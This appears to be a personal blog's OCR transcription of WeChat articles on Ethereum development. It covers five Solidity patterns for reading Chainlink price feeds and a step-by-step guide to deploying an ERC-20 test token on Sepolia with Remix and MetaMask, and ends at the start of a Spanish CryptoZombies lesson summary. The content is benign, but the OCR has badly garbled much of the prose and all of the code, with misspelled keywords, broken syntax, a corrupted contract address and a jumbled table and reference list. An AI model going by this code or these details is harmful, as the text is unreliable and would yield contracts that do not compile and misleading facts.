  • MetaMask:配置高 Sepolia 潮試。

  • Sepolia ETH:用於支付交易的Gas 虞用。

  • Chainlink

ETH/USD 地 (Sepolla) : 址 0x694AA1769357215DE4FAC081b f1f309aDC325366 模式一:粹只讀模式(TheReader) 核心理念 提供一個無需支付Gas、不會在键上留下任何痕除的整擦镇取通道,是所有DApp前端展示数摊的 基。 實代碼:ViewOnLyConsumer.sol // SPDx-License-Identifier: MIT 1928a Axtpilos eu5eud import "echainlink/contracts/src/vo.8/interfaces/Aggregatorv3Interface.sol"; contract Viewonlyconsumer { Aggregatorv3Interface internal priceFeed; constructor(address _priceFeedAddress){ priceFeed = AggregatorV3Interface(_priceFcedAddress); function getLatestPrice() public view returns (int)( //解元组以碳取值格 (. Int price, . , ) = priceFeed.latestRoundData(); return price:

1.02615epclafTH e

操作指南

址。

2.在“DepLoyed Contracts” 医檬,贴型荒色的 getLatestPrice 接。

3,察:你重立即看到格的整数值,此适程無需Gas,也無交易叠生。 场景分析 最通用龄DApP前端、借表板或键下显本需要向用户展示键上数據,而不想生任何费用的场景。 模式二:狀想變量日模式(TheClerk) 核心理念 将每一次操作的鲜细記额(包括上下文数握和自定差信息)直接喜入合的的状感量中,使其永久存 储在键上。 宽践代碼:StateLoggingConsumer.sol // SPDx-License-Identifier: MIT pragna solidity ~0.8.20; import echainlink/contracts/src/vo.8/interfaces/Aggregatorv3Interface.sol"; contract StateLoggingconsumer Aggregatorv3Interface internal priceFeed; struct LogEntry { uint256 tinestanp; int price; string message; address querier; LogEntry[] public queryLogs: constructor[address _priceFeedAddress] { priceFeed = AggregatorV3Interface(_priceFeedAddress) : function logPricewithHessage(string calldata _nessage) public { //解精元到以發取價格 (,int latestPrice, )=priceFeed.latestRoundData(); //等日选存入状感是量数组,这是一個高成本操作 u6ousns6oanb timestamp: block.tinestanp, price: latestPrice, nessage: _message, querler: msg.sender

P

操作指南

1.部墨合的。

2.在logPricewithMessage 函傲务的入框中,畸入你想记操的信息(如“Initia1

system check"). 3,黏整按纽亚璀阅交易。請特别面意预估的高昂Gas觉用。

4.交易成功後,损用queryLogs(e)来查看你套入的第一条完整起缘。

場景分析 由於高的Gas成本。腹力免。谨在低频率、橙重要的状態記条(如修改合约開键参款)且 数擦必须供其他合的直接取琦。才可谨慎考虑。 模式三:事件日模式(TheSecurityCamera) 核心理念 使用 Salidity的event 機制,将日作高交易的一部分經滴地記缘下来,供键下服整整和案 引,是行菜的标率健法。 宽践代碼:EventLoggingConsumer.sol // SPDx-License-Identifier: MIT pragna solidity ~0.8.26; import "@chainlink/contracts/src/vo,8/interfaces/Aggregatorv3Interface.sol"; contract EventLoggingconsumer Aggregatorv3Interface internal priceFeed; cvent Pricelog(address indexed user, int price, string message); constructor(address _priceFeedaddress) { priceFeed = AggregatorV3Interface(_priceFeedAddress) : function logPriceEvent(string calldata _nessage) public { //解情元朗以發取價格 (,int latestPrice,,,) = priceFeed.latestRoundData(1; //解提事件,高效配额 emit PriceLog(msg.sender, latestPrice, _message);

操作指南

1.部署合的。

2.在LogPriceEvent函数旁的输入枢中输入你的信息(如“Userdepos1t

confirned* ) 。

3.我行交易,然在Rcnix端的交易配综中找到展開“Logs”。

4.靓察:你會看到一個被完美解析的日防,其中包含了损用者、格和你的白定差信点。

场景分析 行案福掌。遵用的整乎所有需要留下操作痕踏的增景:代聚樽服、用户操作、系统狀感磨更等。 模式四:混合模式(TheHybrid) 核心理念 同時提供免查的View回数和一個需要支付Gas但會留下口的交易函数,宽现效率與功能性的 完美结合。 實代碼:HybridConsumer.sol // SPDx-License-Identifier: MIT pragna solidity ~0.8.20; import @chainlink/contracts/src/vo.8/interfaces/Aggregatorv3Interface.sol°; contract Hybridconsumer { Aggregatorv3Interface internal priceFeed; event ActionLogged(address indexed user, int price, string nessage); constructor(address _priceFeedAddress) ( priceFeed = AggregatorV3Interface( _priceFeedAddress)]: //模式一:提供免费、即持的查钢 function getLatestPriceViewonly() public view returns (int) { (, int price, . ,) = priceFeed.latestRoundData(); return price; //极式三:掌用户软行需要己骤的震键操作聘用 function performActionwithMessage(string calldata _message) public { (,int latestPrice, ,,) = priceFeed.latestRoundData(1; emit ActionLogged(nsg.sender, latestPrice, _message) :

操作指南 getLatestPriceVlewonty的免費翼即時,然後再疯行 艘睡胡用 performActionWithMessage来感受需要Gas 亚產生键上口的交易,深刻理解商著如何熔同 工作。 场景分析 遇用最佳實藏。DeFi潢、NFT市場、键逛等惩大多就DApP的首运架横。 模式五:防間控制模式(TheBouncer) 核心理念 為合的的被感功能段立一可意的「守衡:,在函数机行前,通通require 或nodifier 检查 洪用客是否具有特定權限。 實践代碼:AccessControlledConsumer.sol // SPDx-License-Identifier: MIT pragna so11dity ~0.8.20; import “@openzeppelin/contracts/access/0wmable.sol*; import

  • @chainlink/contracts/src/vo.B/interfaces/Aggregatorv3Interface. sol";

contract AccessControlledconsuner is Dwnable { Aggregatorv3Interface internal priceFeed; event AdninLog(address indexed adnin, int price, string message); constructor(address _priceFccdAddress) Ounable(nsg.sender)( priceFeed = AggregatorV3Interface( _priceFeedAddress)]: //只有owner才能调用此函数 (. Int latestPrice, . , ) = priceFeed.latestRoundData[1: cmit AdminLog(msg.sender, latestPrice, _message);

EDA0990

操作指南

1.部署合的。

2.用部署睿展户(Owner)调用LogAdminMessage,交暴游成功。

3.在MetaHask 中 切换到另一個非Owmer 振户。

4,用新服户营试终用LogAdminNcssagc,交易將會失败。规身體验耀限控制的有效性。 场景分析 安全基石。所有需要權限的敬感操作(如更新费率、智停合約、設置白名單等)都必须使用此梗式或 颈似的權限管理模式。 深度探时:所有權的放案(renounceQwnership) OwnabLe合约遗提供了一個橙端但重斐的功能:renounce0wnership()。 這是什座?當所有害调用此函数,合的的cwner言被设置為零地址(8x8...3)。這是一 包不可逆轉的操作。

  • 比喻:這相需於保隐箱的唯一输趾扔进火山,键趾永久消失,保陆箱再也無法被任何人打

用。

  • 為什磨要這度做?為了寶现完金的去中心化。通通放囊所有械,刻始人向社区承,他仍

合的没有任何特椎,合的将永遗按代确白主通行,以此建立無需信任的系统。 盈融是什磨?这也盈味著放聚了所有修復和升级的能力。如果末来强现Bug或需要新增功 货,人知介入。

  • 结:放至所有稀是一個非常里霜的決定,通常只在合的辉通格密计且旨在完全自治時才考

。翻於大多数项目,等所有标辅移至多答包或DA0治理是更為场受的去中心化路得。

模式名辑 核心理念 经上可造溯 量佳通用场录 Gas 成 本 (调用时) 性 只 免费 免费的数拔查 DApp 前强数展示。 v1 ew 高 (慎用)低、握重要的 状息曼量 等記数直接寡入 高 状態髮量 將記錄直接寫入 日陆 状感纪線。 日諾 合約存 状態記錄。 行業標,乎所有日需 事件日 中等 非常高 通适事件配缘日 通過事件記錄日 求。 陆 誌 混合模式 结合免費查詢和 免費/中等 高(關键操 通用最佳實,複雜DAp 作) 事件日諾 p。 防問控制 在執行前检查調 崇中 安全和管理,保護敏感功 用者權限 能。

原始排版图

智能合約開發核心模式:從查詢到日誌的五種交互實踐:微信公众号导出原始排版图

在以太坊测试网上发行ERC-20代币的综合指南:为构建稳定币奠定基础

· 閱讀時間約 20 分鐘
w0x7ce
MySelf

发布于 2025-07-15 22:52:50(微信公众号导出记录)。

本文来自公众号后台的“导出文章内容”功能。博客正文由导出长图进行本地 OCR 转写,并保留原始排版图用于逐段核对。

原文链接:查看原文

OCR 转写有效文字约 16600 字;代码、流程图和版式以文末原始排版图为准。

正文(本地 OCR 转写)

基础 originalwθx7ce EI V1ajero2825年7月15日 22:53 中国香港

第一部分:数字资产发行的基础概念

1.1解构稳定币:锚定机制概览

法著组甲型定替(Fe-backed tabieoins) B次

加密简带抵押型提定常 (Cnypto-backed Stabiecslna) (m)

算达展定常(Aigortmlic Stablecolns)

高星确定常(mR)

稳定币是一种旨在通过与另一资产挂钩或通过某种稳定机制来维持其价值稳定的数字资 产。这种稳定性使其能够有效充当加密生态系统内的交换媒介、价值储存工具,并促进商 业交易,从而在波动剧烈的加密货币与传统金融世界之间聚起一座桥案。尽管我们的初步 实验仅关注代币的发行,但了解其最终形态稳定币的实现方式至关重要。稳定币主要通过三 种核心机制来实现其价格稳定:

  • 法币抵押型稳定币(Fiat-ColLateralizedStablecoins):这是目前显普遍且

显容易理解的模型。这类稳定币(如USDT、USDC)的价值与法定货币(通常是美元) 以1:1的比例挂钩“。为了维持这种挂钩,发行方会将等值的法币资产存放在受监管的 金融机构作为储备金。这些储备金由中心化的托管机构持有,并定期接受审计,以确保 透明度和偿付能力。这类稳定币的稳定性直接取决于其背后的法币价值以及发行方的 可信度2。

  • 加密资产抵押型稳定币(Crypto-CollateralizedStablecoins):该模型通

过使用其他加密货币(如以太坊ETH)作为抵押品来提升去中心化程度,其所有操作均 由链上智能合约管理。为了应对抵押品本身的价格波动风险,这类系统采用了“超额 抵押”机制。这意味着用户必须锁定价值远超于其希望铸造的稳定币数量的加密资产 (例如,锁定价值208美元的ETH来铸造180英元的DAI稳定币)°。这些协议依赖于价 格预言机(PriceOracles)来实时盐控抵押品的价值,并在其价值跌破预设的清算 阅值时自动触发清算程序3。 算法稳定币(AlgorithnicStablecoins):这是最具实验性和去中心化理想的模 型。算法稳定币不依赖任何资产作为抵押,而是通过复杂的算法和智能合约来动态调控 代币的供应量,以维持其价格锚定。其机制包括直接调整用户钱包余额的“弹性供应 (Rebas1ng)“模型,或通过多代币系统激励市场参与者进行买卖以稳定价格的“铸 币税(Se1gn1orage)“模型。

1.2ERC-20标准:以太坊上同质化代币的蓝图

表1:ERC-20标准的接心函数与事件 燕述 类蓝 名称 返回代币的名称,例如“My Test Stablecoi 可选 ()aueu 函数 n"。 (110quAs 返园代币的符号,例如“MTS”。 逐回代币支持的小致位致。通掌为18,用于显示日 decinals() 的。 totalSupply() 返同代币的总俱应量。 函数 balanceof (address _owner) 返图指定地址(_wncr)的代币余额。 transfer(address _to, uint256 从消息差递者(nsg -sender )的账户向指定域址 value1 (_to)转移特定数量(_value)的代币。 approve(address 授权一个地址(_spender)可以从消息发诺账户 _spender, uin 中提取不超过特定数量(_value)的代币,这是去 t258 _value) 中心化应用交互的核心。 返厦一个地址(_spender)核授权从另一个隐址 allovance[address _owner, add [apuads sa (_ouner)提现的代币余额。 transferFron(address from, a 在获得提权(通过approve)后,从一个地址( fron)向另一个地址(_to)转移特定数量(_va1 ddress _to, uint256 _value) ue ) 的代币, Transfer(address indexed _fro 在代币应功转移时触发的事件日志。 领制 章 (onlen 95 Approval(address indexed _own 在 approve 函数成功调用时融发的事件日志。 (anjen9sz1utn 数据来源:10

1.3试验场:测试网与主网的对比分析

表2:主网与Sepolia测试网的对比概览 Sepolia测试网(Testnet) 特性 以太坊主网(Mainnet) 真买交易与线上应用 开发、测试与实验 目的 代币价值 无签币价值(SepollaETH) 具有真实货币价值(ETH) 交易成本 使用免费的测试ETH支付Gas费 需要支付真实的Gas费 网络ID 11155111 验证者集合 去中心化、无需许可 受许可、由楼心团队控制 数据来源:24

第二部分:准备开发与部署环境

您的Web3网关:安装与配置MetaMask钱包,亚配置连接到SepoLia测试网 表3:SepoLia测试网网络配置详情 字段 值 Sepolla Testnet 网络名称 新的RPC URL https : //ethereum-sepo11a- rpc publ1cnode.con 11155111 01 SepoliaETH 区块浏览器URL https ://sepolia.etherscan.in 数据来源: 32

2.3获取测试资本:SepoliaETH水龙头指南

Ethereum Sepolla Faucet

FAG

表4:可露的SepoliaETH水龙头列表 水龙头名称 URL 分发数量 赛求

0.5 ETH

Alcheny Fau sepoliafaucet.con 需雯注册ALcheny cet /天 户 faucet quicknode,con/ethereum/se QuickNode F

8.85ET

可能需要主网余额> polia

0.001 ETH

aucet H

0.5ETH

infura,io/faucet/sepolia Infura Fauc 需要注册Infura康户 et /天 cloud.google.con/appl1cation/veb

0.05ET

Google Clou 需要Google账户,可 d Faucet 3/faucet/ethereum/sepolia 能范燕主网余额 H lcarnveb3,io/faucets/scpolia LearnWeb3 F

0.82ET

需要GitHub账户认证 aucet H/天 数据来源:29

第三部分:实验:逐步发行一枚测试网代币

21558

3.1使用0penZeppelin构建智能合约

从零开始编写一个完整的ERC-2日合约既复杂又容易出错。一个关键的最佳实践是使用像 OpenZeppelin这样经过实战检验和安全审计的合约库。我们将继承OpenZeppeLin的 ERC20.so1合约,这能极大地降低安全风险井提高开发效率55 合约代码: 在Remix IDE的文件浏览器中创建一个新文件,命名为MyTestStablecoin.sol,然后将 以下代码粘贴进去: //contracts/nyTestStabLecoin. sol // SPDX-License-Identifier: NIT pragna solidity ^o.8.20; :105 0zou3/0ua/uayo4/sseusuos/ut1addazuado0g: uodut contract MyTestStablecoin is ERC29 { constructor(uintz56 initialsupply) ERcze(My Test 5tablecoin, *MT5 _mint(msg.sender, 1nitialSupply * (10 *- decimals1)));

代码逐行解析:

  • //SPDX-License-Identifier:MIT:这是一个机器可读的许可证标识符,对

于建立信任和通过Etherscan验证至关重要 55。

  • 1mport *@openzeppel1n/contracts/token/ERC20/ERC20.sol";: 这行代

钙指示Rem1x直接从0penZeppel1n的G1tHub仓库中获取ERC28.sol合约文件。这 体现了Web3世界中基础设施的可组合性"。

  • contract MyTestStablecoin is ERC20{..}:定义了我们的新合约,#

声明它继承了导入的ERC20合约的所有功能和特性20

  • constructor(..-)ERC2e(*My Test Stablecoin",“MTS"):这是合约的

构造函数,只在部署时执行一次。它调用了父合约ERC20的构造函数,来设置我们代 币的名(name)和符号(symbol)29。

  • mint(nsg.sender, initialSupply *(10 ** decimals()))::_mint

是ERC28合约中的一个内部函效,用于创建新代币29。这行代码的作用是将初始供应 量( 1n1t1alSupply)的代币铸造给nsg.sender,即部番该合约的地址64

3.2在Renix中编译与部署前分析

1.编译合约:在Rem1x中,导航到左例插件栏的“Sol1d1ty Comp1ler"插件

2.选择编译器:确保选择的编译器版本(例如0.8.20)与您代码中pragma声明的版本

兼容。

3.执行编译:点击蓝色的*Compile MyTestStablecoin.sol"按钮 58。如果一切

利,插件图标上会出现一个绿色的对勾。

4.理解编译产物:编译成功后,Remix会生成两个关键信息:

。Bytecode(字节码):这是将被实际部要到以太坊虚拟机的低级机器码。 。ABI(应用二进制接口):一个JSON格式的文件,它定义了如何与合约的函数进行交 互。它就像一本“用户手册”,告诉钱包或其他应用合约里有哪些函数以及如何调用它 们*4。

H

3.3将合约部署到Sepolia测试网

1.选择部墨环增:导航到“Deptoy&RunTransactions”插件“

在"ENVIRONMENT"下拉菜单中,选择“Injected Prov1der-MetaMask".这 会告诉Rem1x使用您的MetaMask钱包来签善和发送交易58. 连接钱包:MetaMask会弹出一个留口,请求连接到Remix。点击“连接”井批准。成 2. 功后,Remix中的"ACCoUNT"字段将显示您的MetaMask钱包地址“1。

3.设置部参数:

。在“CONTRACT下拉菜单中,确保选择了我们刚刚编写的MyTestStablecoin合 约。 。在“Deploy”按钮旁边,会有一个输入框,用于填写构造函数的initialSuppLy参 效。在此输入一个您想要的初始供应量,例如1080808。 。点击精色的“Deploy”按钮

1.确认交易:MetaMask会再次弹出,显示部署合约的交易详情,包括预估的Gas费用。

点击“确认”“

2.部署成功:等待片刻,交易将在Sepolia网络上被确认。Remix的终端会显示交易哈

希和新合约的地址。同时,在“DepLoy&Run”面板的底部,“Deployed Contracts“区域会出现您刚刚部署的合约实例4。

第四部分:部署后操作与验证

合约部署并验证后,您可以通过多种方式与其交互:

  • 使用Renix

  • 使用Etherscan

为了完成实验闭环,我们需要让新创建的代币在MetaMask钱包中可见。默认情况下, MetaMask不会自动显示所有非主流代币,需要手动添加72。 添加步骤:

1.打开MetaMask,确保网络已切换到Sepolia测试网。

2.在“资产(Assets)“标签页下,滚动到展部,点击”导入代而(Inport

tokens) 72。

3.选择“自定义代币(CustomToken)"标签页。

4.在“代币合约地址“字段中,粘贴您的代币合约地址。

5.如果您的合约已在Etherscan上成功验证,MetaMask应该会自动读取并填充“代币

(8)() T2 6,点击“添加自定义代币”,然后点击“导入代币”。

7.现在,您的MTS代币及其余额(例如1,080,068)应该会出现在MetaMask的资产列

表中了 Account1√ OxFaef0..4774d

2.0359 SepoliaETH

  • US$0 (+0.00%) Portfolio

C K Swap 豫送 Buy/Sell Bridge 接收 Tokens 交易紀錄 NFTs Sepolia V 尚末有匯率比较值

2.0359 SepoliaETH

MTS 尚未有团率比较值 1,000,000 MTS

第五部分:高级考量与未来展望

必须明确指出,我们网刚创建的MyTestStableco1n还不是一个稳定币。它只是一个具有固 定供应量的标准ERC-20代币,没有任何价格错定机制。要将其转变为真正的稳定币,需要根 据所选模型进行大量的扩展开发。

  • 通往法币抵押型稳定币的路径:这条路径更多地涉及错下的法律和金融结构。您需要建

立一个合规的实体来持有储备金“。在智能合约层面,您需要扩展合约,添加 mint()(铸造)和burn()(销毁)函数,并使用访间控制机制(如0penZeppeLin 的AccessControl)确保只有受信任的管理员地址才能调用它们。管理员只应在用户 存入法币时调用mint,在用户赎回法币时调用burn。这是一个高度依赖中心化运营和 信任的模型。

  • 通往加密资产抵押型稳定币的路径:这是一个复杂得多的链上系统。您需要构建一套

SepoliaETH)存入金库,然后金库合约被搜权为用户 mint相应数量的稳定币。该系统还必须集成一个可信的价格预言机来监控抵押品价 值,以及一个自动化的清算机制,在抵押品价值过低时出售抵押品以保障系统的偿付 能力。OpenZeppelin库中的 ERC2θPausable(可暂停)、ERC2eBurnable(可销毁)等扩展将是构建此类系统 的关键模块2

  • 通往算法稳定币的路径:这条路径要求设计一个极其复杂的、通常是多代币的系统,通

过链上算法来管理供需关系"。例如,创建一个“股份”或”债券”代币,并编写一个智 能合约,根据预言机报告的价格偏差,自动铸造/销毁稳定币,或出售/购买股份代 币。整于历史上的失败案例,这被认为是挑战最大、风险最高的路径13。 Works cited

1. An Introduction to Stablecoins I Advisories

Arnold& Porter, accessed July 15, 2025, /2025/05/an-introduct1on-to-stableco1ns Overview KLRD, accessed July 15, 2. 2625, https://klrd.gov/2024/11/15/stableco1n-overv1ew/

3.Bu1ld1ng Stablecoin Protocols

Pyth Network, accessed July 15, https://waw. pyth.network/usecases/stablecoin- 2025, protocols

4.What

is Fiat-Backed Stablecoin? Types & Benefits a F1reblocks, accessed July 15, https://www.fireblocks .com/glossary/fiat-backed- 2025, stablecoin/ Behind crypto's asset _popular most 15, Chainalysis, passasse Kn https: //wuw.cha1nalys1s.com/blog/stableco1ns-most- popular-asset/ Stablecoins: What Are They and How Do They Work? - Kiplinger, 6 . accessed July 15, 2025, https://www.kiplinger.com/investing/cryptocurrency/6050 96/stableco1ns-detinition-and-how-they-work Overview,Uses,Categories, Stablecoin and Examples 7. Corporate Finance Institute, accessed July 15, https://corporatefinance1nstitute.com/resources/cryptoc 2025, urrency/stablecoin/ Collateralized Stablecoin, Its Types & Examples Expla1ned Blog, NOBI passasoe July 15, https://usenob1.com/blog/en/what -1s-collateral1zed- 2025, 9. 2025, https://www.-gemini.com/cryptopedia/what-are- July, 15, stablecoins -how-do-they-work accessed July stablecoins, explained 10. Algorithmic Kraken, 2025, https://wwer.kraken.com/learn/algorithnic- 15, stablecoins Ledger, accessed Algorithmic Stablecoin July 15, 11. 2625, https : //www. ledger. com/acadeny/glossary/algorithnic- stablecoins 12. it's different CoinTracker, accessed July 15, 2025, https://www.cointracker.io/learn/algorithmic-stablecoin Algorithnic Stablecoin? Koinly.accessed July What is an 13. 2025, https://koinly.io/crypto-glossary/algorithnic- 15, stablecoin/ www.gemin1.com, July 15, accessed 14 . nttps://www.gemini.com/cryptopedia/erc20-token- 2025, standard- ethereum#:~:text=ERC%2D20%20is%20aa20token,Ethereum's$20eco5y stemg20ofe20decentralized%20apps. WhatCrypto UsersNeedto Know: The ERC28 Standard 15. July 15, accessed https://www.1nvestopedla.com/tech/why-crypto-users- 2025, need -know-about-erc20-token-standard/ What Coinbase, 15, ERC-20? accessed July 16. 1 5 https ://www.coinbase .com/learn/crypto-glossary/what-15- 2025, erc-20 What are ERC28 Tokens and How Does .Token Metrics, 1t Work? 17. July 15, 2025, https://www.tokenmetrics.com/blog/erc20-token

16. Ethereum's ERC-20 Tokens: The Definitive Standard

|Gemini, accessed n 15, https://ww.gem1n1. com/cryptoped1a/erc20-token- 2025, standard-ethereun AreERC-20 What Tokens the Ethereum Network? 19. on accessed 15, Investopedia, July https://www.investopedia.com/news/what-erc20-and-what- 2025, does -1t-mean-ethereum/ OpenZeppelin accessed Docs, July ERC 28 15, https://docs.openzeppelin.com/contracts/2.x/api/token/e 2025, rc20 Docs, ERC OpenZeppelin July 28 accessed 15, 21. https://docs.openzeppelin.com/contracts/3.x/api/token/e 2025, rc20 ERC 29 OpenZeppelin Docs, passasoe July accessed 22. 20 15, https://docs.openzeppelin.com/contracts/4.x/api/token/e rc20 accessed kanga.exchange, July 15, 23. 2025, 2025, https://kanga.exchange/university/en/courses/intermedia te-course/lessons/22-mainnet-versus-testnet-on-the- blockchain-the-complete- blockcha: guide/#:~:text=The%20testnet%26is426wherea29new,blockchain%20 projects%20prove426their%28functionality.

22. Mainnet versus Testnet on the Blockchain.

The conplete 24. Kanga guide! University, passasse 15, 2025, https://kanga.exchange/university/en/courses/1ntermedla te-course/lessons/22-mainnet-versus-testnet-on-the- blockchain-the-complete-guide/ What are Testnet and Mainnet in Blockchain? - Nervos Network, 25. https://www.nervos.org/knowledge- accessed July 15, 2025, base/testnet mainnet blockchain (explaincKBot) Mainnet,ETH &CRO Testnets|

26. All about Network Settings

Help Crypto.com Center, accessed July 15, https://help.crypto.com/en/art1cles/4578197-all about- 2025, network-settings-mainnet-eth-cro-testnets 1nWeb3 Mainnet What*s Testnet Vs the Difference? 27. July 15, Shardeum, accessed 2025, https://shardeum.org/blog/testnet-vs-mainnet/ Blockchain Council, accessed July 15,

28. Mainnet vs Testnet

2025:+https://www.blockchain-council.org/blockchain/mainnet- vs-testnet/ Goerli vs. Sepolia Testnet Comparison: Which is better? 29 . Alchemy. accessed July 15, 2025, https://www.alchemy.com/overv1ews/goerl1-vs=sepol1a Goerli vs. Sepolia Testnet | QuickNode Guides, accessed July 30. https://www-qu1cknode.com/guides/ethereum- 2025, 15, development/getting-started/goerli-vs-sepolia-a-head-to-head- comparison Ankr | Blog. Transitioning Testnets from Goerli to Sepolia 31. July accessed 15, 2025, https://www.ankr.com/blog/trans1tioning-testnets-from- goerli-to-sepolia/ Exploring the Depreciation of Goerli Testnet and the Shift to 32. Sepolia Testnet: A Comprehensive .Manisha Nair, Guide accessed July 15, 2025, https://manishaa28.hashnode,dev/exploring-the- depreciation-of-goerli-testnet-and-the-shift-to-sepolia- testnet-a-comprehensive gu1de

33. Goodbye Goerli: Transitioning from Goerli to Sepolia Testnet

July 15, Curvegrid, accessed https://www.curvegrid,com/blog/2023-05- 29-goodbye- 2025, goerli-transitioning-from-goerli-to-sepolia-testnet Changes in Supported By Vaultodys From Goerli to Sepolia: ‘E Ethe reum Testnets, accessed JuLy 15, https://vaultody.com/blog/172-from-goerl1-to-sepol1a- 2025, changes-in-supported-by-vaultodys-othereun-testnets 35. Extension, accessed July 15, 2025, https://metamask.io/download Welcome to MetaMask: Your Complete Guide to the Crypto Wallet 36. accessed NFT Now, July 15, https://nftnow. com/guides/how-to-set-up-metamask- 2025, wallet/

37. A Complete Beginner’s Guide to Using MetaMask - CoinGecko,

accessed Anc 15, 2025, https://www.coingecko.com/learn/complete-beginners- guide-to-metamask Guide: Secret Recovery Phrase, password, User and _private 38. keys MetaMask Help Center, accessed July 15, https://support.metamask.1o/start/user-guide-secret- 2025, Getting with MetaMask Center, Help MetaMask started 39 . accessed Ainc 15, 2025, https://support.metamask.io/start/getting -started-with- metanask/ How to set up an Ethereum wallet on MetaMask Tutorial: 48. CodeHS, accessed July 15, https://codehs.com/tutorial/jkeesh/how-to-set-up-an- 2025, toSet upyour MetaMask How Wallet 41. Foundation, July accessed 15, https://val Leyw1sehealthfoundation.org/wp- 2825, content/uploads/2021712/How-to-5et-up-your-Metalask-Wallet- step-by-step-snstruct1ons.pdf How to Add Sepolia to MetaMask Datawallet, Anc passaoe 42. https://www.datawallet.com/crypto/add-sepolia-to- 2625, 15, metanask

43. OP Sepolia Testnet RPC - Chain Settings, Basics & How to Add

MetaMask Metaschool, accessed July to 15, 2025, https://metaschool.so/rpc/oPSepoliaTestnet Deploy a Snart Contract Using Remix - Hedera Docs, accessed 44 . July 15, https://docs.hedera.com/hedera/tutorials/smart- 2025, contracts/deploy-a-smart-contract-us1ng-rem1x Sepolia Ethereum Testnet 45. How Metamask to GetBlock.10, accessed July 15, https://getblock.io/blog/add-ethereum-sepolia-testnet- 2025, MetaMask Wallet Setup Guide 1s A Metanask (2625) |what 46. YouTube, July accessed 15, 2025, https://www. youtube.com/watch?v=afuxGTJyqk8 Add Ethereum Sepolia to MetaMask - Revoke.cash, accessed July 47. https://revoke.cash/learn/wallets/add- 2025, 15, network/ethereum-sepol1a July accessed 15, www. genini. com, 48. https://www.genin1.com/cryptopedia/what-are-gas-fees- 2025, gwei-gas-fees-eth-ether-transaction- fee#:=:text=Gas%20fees%2Drepresent%z0the%20compensat1on, als0% 20apply%20across$26otheraz0blockchains.

49. How Gas Fees Work on the Ethereum Blockchain -

Investopedia, accessed July 15, 2025, https://www.investopedia.com/terms/g/gas -ethereum.a5p

50.What are

Academy, gasfees? (ETH) Bitpanda accessed July 15, 2025, https://ww.bitpanda .com/academy/en/lessons/what-are- ethereum-eth-gas-fees Metana, accessed How to Get Sepolia ETH from a Faucet 2025 51. July 15, 2025,https://metana.1o/blog/how-to-get-sepolia-eth- from-a-faucet-2025/ GetBlock.i0, Ethereum Sepolia accessed July 15, faucet 52. 2025, https://getblock.io/faucet/eth-sepolia/ SepoliaETH Faucet Ethereun Sepolia TestnetlBitbond 53. accessed Token Tool, July 15, 2025, https://tokentool.bitbond.com/faucet/ethereum-sepolia Google Cloud, accessed July 15, Ethereum Sepolia Faucet 54. 2025, https://cloud.google.com/application/web3/faucet/ethere un/sepoTia 55. Guides, accessed July 15, 2025, https://www.quicknode.com/guides/ethereum- development/smart-contracts/how-to-create-and-deploy-an- erc20-token SepoliaETH deliveredstraight to your wallet. Infura, 56. July accessed 15, 2025, https://www. infura.io/zh/faucet/sepolia

57. Ethereum Sepolia Faucet |Free 0.02 sETH per day | Learnleb3,

accessed July 15, 2025, https://learnweb3.1o/faucets/sepol1a/ Smart Contracts. Med1um, accessed July 15, 2025, https://medium.com/@ucheblessed/a-step-by-step-guide- on-using-renix-ide-to-write-and-deploy-smart-contracts- dfc6e845f38b Remix Ethereum IDE 59. community, accessed 2025, https://rem1x-project.org/ An Introduction to Remix IDE -DEV Community. accessed July 60. https://dev.to/shlok2746/an-introduction-to-renix- 15,2025, 1de - 1610 Deploy Smart Contracts with Remix | Moonbean Docs, accessed 61. July 15, https://docs,moonbeam.network/builders/ethereun/dev- 2025, env/ren1x/

52.Creating and Deploying a Contract -Renix

  • Ethereun IDE 1

https://renix- accessedJuly15, documentation, 2025, 1de.readthedocs.1o/en/latest/create_deploy.html FullCourse For Beginners Learn Remix IDE YouTube, 63. https://m.youtube.com/watch? July 2025, accessed 15, v=WE4heWD5iu0&pp=0gcJCU8JAYcqIYzv July Docs, accessed 15, ERC28 64. OpenZeppelin 2025,https://docs.openzoppelin.com/contracts/4.x/erc20 ERC -20 July 15, OpenZeppelin Docs, pessasoe 65. https://docs.openzeppelin.com/contracts- 2025, stylus/0.1.8/erc20 OpenZeppelin DoCs, July ERC -20 accessed 15, 66. 2025, https://docs.openzeppelin.com/contracts/5.x/erc20 Deploying Your First Snart Contract with Renix - Swan Chain, 67. accessed Anc 15, https://docs. swanchain. 1o/bulders/dapp- 2825, developer/deploying-your-first-smart- contract-with-ren1x Verifying Contracts Information Center, accessed Etherscan ] 68. 2025, July 15, https://info.etherscan.com/how-to-verify- contracts/ Verifying your contracts Ethereum development environnent

69.Verifying

yourcontracts|Ethereumdevelopmentenvironment 69. professionals by Nomic Foundation- for Foundat1on accessed 2025, July 15, https://hardhat.org/hardhat- runner/docs/guides/verifying Address Ownership Address Etherscan 70. What Verify Contract is Information July accessed Center, 15, https://info.etherscan.com/what-is-verify-address- 2025, ownership/ Contract|QuickNodeGuides, VerifyaSmart 71. Contract 1Qu1ckNode Gu1des, Ways 5 to accessed 15, July https://www.quicknode.com/guides/ethereum- 2025, development/smart-contracts/different-ways-to-verify-smart- contract-code How to Import a Token in Metamask-Coin Factory,accessed 72. July 15, 2025, token-in-metamask July

73.support.metamask.io,

15, accessed https://support.metamask.io/manage-crypto/tokens/how- 2025, to-display-tokens-in- metamask/#:~:text=0nce%20you%20find%20your%20token,'Enter%20t oken%20contract%20address

74.How

accessed July display MetaMask, 15, tokens in to https://support.metamask.io/manage-crypto/tokens/how- 2025, to-display-tokens-in-metamask/ How to Add Custom Tokens to MetaMask -αlpharithms,accessed

75.F

July https://www.alpharithms.com/adding-custom- 15, 2025, tokens-to-metamask-1538217

原始排版图

在以太坊测试网上发行ERC-20代币的综合指南:为构建稳定币奠定基础:微信公众号导出原始排版图

CryptoZombies Lección 2: Guía Definitiva y Código Completo

· 閱讀時間約 8 分鐘
w0x7ce
MySelf

发布于 2025-07-14 23:14:36(微信公众号导出记录)。

本文来自公众号后台的“导出文章内容”功能。博客正文由导出长图进行本地 OCR 转写,并保留原始排版图用于逐段核对。

原文链接:查看原文

OCR 转写有效文字约 8354 字;代码、流程图和版式以文末原始排版图为准。

正文(本地 OCR 转写)

CryptoZombies Lecci6n 2: Guia Definitiva y C6digo Completo wex7ce EI V1ajero 2825年7月14日 23:14 中国垂港 OT10

Enhorsbuensl (Has complersdo la Leccin 2 de CryploZombies! reats Co oty-rayer a tsamigos

1.Resumen de Conocimientos Clave

En la Leccion 2, afiadimos las funcionalidades principales para un los conceptos clave cubiertos en esta leccion:

  • Tipos de Datos Esenciales:

